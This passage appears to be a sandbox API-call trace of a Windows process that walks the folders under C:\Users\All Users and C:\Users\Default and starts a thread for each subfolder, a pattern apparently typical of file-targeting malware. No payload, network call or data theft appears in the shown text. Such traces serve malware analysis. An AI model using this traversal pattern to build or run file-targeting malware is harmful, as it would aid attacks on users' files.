ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0062.277] wcscmp (_String1="Documents", _String2=".") returned 1 [0062.277] wcscmp (_String1="Documents", _String2="..") returned 1 [0062.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd3a0 [0062.277] wcscpy (in: _Dest=0x33fd3a0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.277] wcscat (in: _Dest=0x33fd3a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.277] wcscat (in: _Dest=0x33fd3a0, _Source="Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0062.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0062.277] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0062.277] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0062.278] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd3e8 [0062.278] wcscpy (in: _Dest=0x33fd3e8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.278] wcscat (in: _Dest=0x33fd3e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.278] wcscat (in: _Dest=0x33fd3e8, _Source="Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0062.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd3e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0062.278] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0062.278] wcscmp (_String1="Microsoft OneDrive", _String2=".") returned 1 [0062.278] wcscmp (_String1="Microsoft OneDrive", _String2="..") returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x341d878 [0062.278] wcscpy (in: _Dest=0x341d878, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.278] wcscat (in: _Dest=0x341d878, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.278] wcscat (in: _Dest=0x341d878, _Source="Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive" [0062.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341d878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0062.279] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0062.279] wcscmp (_String1="Oracle", _String2=".") returned 1 [0062.279] wcscmp (_String1="Oracle", _String2="..") returned 1 [0062.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433da8 [0062.280] wcscpy (in: _Dest=0x3433da8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.280] wcscat (in: _Dest=0x3433da8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.280] wcscat (in: _Dest=0x3433da8, _Source="Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0062.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0062.280] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0062.280] wcscmp (_String1="Package Cache", _String2=".") returned 1 [0062.280] wcscmp (_String1="Package Cache", _String2="..") returned 1 [0062.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x33fa418 [0062.280] wcscpy (in: _Dest=0x33fa418, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.280] wcscat (in: _Dest=0x33fa418, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.280] wcscat (in: _Dest=0x33fa418, _Source="Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0062.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fa418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0062.281] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0062.281] wcscmp (_String1="regid.1991-06.com.microsoft", _String2=".") returned 1 [0062.281] wcscmp (_String1="regid.1991-06.com.microsoft", _String2="..") returned 1 [0062.281] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x33e8258 [0062.281] wcscpy (in: _Dest=0x33e8258, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.281] wcscat (in: _Dest=0x33e8258, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.281] wcscat (in: _Dest=0x33e8258, _Source="regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0062.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e8258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0062.282] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0062.282] wcscmp (_String1="SoftwareDistribution", _String2=".") returned 1 [0062.282] wcscmp (_String1="SoftwareDistribution", _String2="..") returned 1 [0062.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x33cda28 [0062.282] wcscpy (in: _Dest=0x33cda28, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.282] wcscat (in: _Dest=0x33cda28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.282] wcscat (in: _Dest=0x33cda28, _Source="SoftwareDistribution" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution") returned="C:\\Users\\All Users\\SoftwareDistribution" [0062.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cda28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0062.283] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0062.283] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0062.283] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0062.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3c) returned 0x33fd4c0 [0062.283] wcscpy (in: _Dest=0x33fd4c0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.283] wcscat (in: _Dest=0x33fd4c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.283] wcscat (in: _Dest=0x33fd4c0, _Source="Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0062.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0062.284] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0062.284] wcscmp (_String1="Templates", _String2=".") returned 1 [0062.284] wcscmp (_String1="Templates", _String2="..") returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd9d0 [0062.284] wcscpy (in: _Dest=0x33fd9d0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.284] wcscat (in: _Dest=0x33fd9d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.284] wcscat (in: _Dest=0x33fd9d0, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0062.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0062.285] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0062.285] wcscmp (_String1="USOPrivate", _String2=".") returned 1 [0062.285] wcscmp (_String1="USOPrivate", _String2="..") returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3c) returned 0x33fd7d8 [0062.285] wcscpy (in: _Dest=0x33fd7d8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.285] wcscat (in: _Dest=0x33fd7d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.285] wcscat (in: _Dest=0x33fd7d8, _Source="USOPrivate" | out: _Dest="C:\\Users\\All Users\\USOPrivate") returned="C:\\Users\\All Users\\USOPrivate" [0062.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0062.285] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0062.285] wcscmp (_String1="USOShared", _String2=".") returned 1 [0062.285] wcscmp (_String1="USOShared", _String2="..") returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd820 [0062.286] wcscpy (in: _Dest=0x33fd820, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.286] wcscat (in: _Dest=0x33fd820, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.286] wcscat (in: _Dest=0x33fd820, _Source="USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared" [0062.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0062.286] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0062.286] wcscmp (_String1="WindowsHolographicDevices", _String2=".") returned 1 [0062.286] wcscmp (_String1="WindowsHolographicDevices", _String2="..") returned 1 [0062.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e84c8 [0062.286] wcscpy (in: _Dest=0x33e84c8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.286] wcscat (in: _Dest=0x33e84c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.286] wcscat (in: _Dest=0x33e84c8, _Source="WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices" [0062.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e84c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0062.287] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0062.287] FindClose (in: hFindFile=0x33dff58 | out: hFindFile=0x33dff58) returned 1 [0062.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e880) returned 1 [0062.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9718) returned 1 [0062.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc790) returned 1 [0062.287] RtlExitUserThread (Status=0x0) Thread: id = 27 os_tid = 0xd00 [0060.265] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x26) returned 0x33fc6a0 [0060.265] wcscpy (in: _Dest=0x33fc6a0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0060.265] wcscat (in: _Dest=0x33fc6a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0060.265] wcscat (in: _Dest=0x33fc6a0, _Source="*" | out: _Dest="C:\\Users\\Default\\*") returned="C:\\Users\\Default\\*" [0060.265] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x341d620 [0060.266] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0298 [0060.266] wcscmp (_String1=".", _String2=".") returned 0 [0060.266] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.269] wcscmp (_String1="..", _String2=".") returned 1 [0060.269] wcscmp (_String1="..", _String2="..") returned 0 [0060.269] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0060.269] wcscmp (_String1="AppData", _String2=".") returned 1 [0060.269] wcscmp (_String1="AppData", _String2="..") returned 1 [0060.269] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0060.269] wcscmp (_String1="Application Data", _String2=".") returned 1 [0060.269] wcscmp (_String1="Application Data", _String2="..") returned 1 [0060.269] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0060.269] wcscmp (_String1="Cookies", _String2=".") returned 1 [0060.269] wcscmp (_String1="Cookies", _String2="..") returned 1 [0060.269] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x33e0618 [0060.269] wcscpy (in: _Dest=0x33e0618, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0060.269] wcscat (in: _Dest=0x33e0618, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0060.269] wcscat (in: _Dest=0x33e0618, _Source="Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0062.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0062.499] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0062.499] wcscmp (_String1="Desktop", _String2=".") returned 1 [0062.499] wcscmp (_String1="Desktop", _String2="..") returned 1 [0062.499] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433ae8 [0062.499] wcscpy (in: _Dest=0x3433ae8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.499] wcscat (in: _Dest=0x3433ae8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.499] wcscat (in: _Dest=0x3433ae8, _Source="Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0062.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433ae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0062.500] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0062.500] wcscmp (_String1="Documents", _String2=".") returned 1 [0062.500] wcscmp (_String1="Documents", _String2="..") returned 1 [0062.500] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433828 [0062.500] wcscpy (in: _Dest=0x3433828, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.500] wcscat (in: _Dest=0x3433828, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.500] wcscat (in: _Dest=0x3433828, _Source="Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0062.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0062.501] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0062.501] wcscmp (_String1="Downloads", _String2=".") returned 1 [0062.501] wcscmp (_String1="Downloads", _String2="..") returned 1 [0062.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433a68 [0062.501] wcscpy (in: _Dest=0x3433a68, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.501] wcscat (in: _Dest=0x3433a68, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.501] wcscat (in: _Dest=0x3433a68, _Source="Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0062.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0062.502] FindNextFileW (in: hFindFile=0x33e0298, 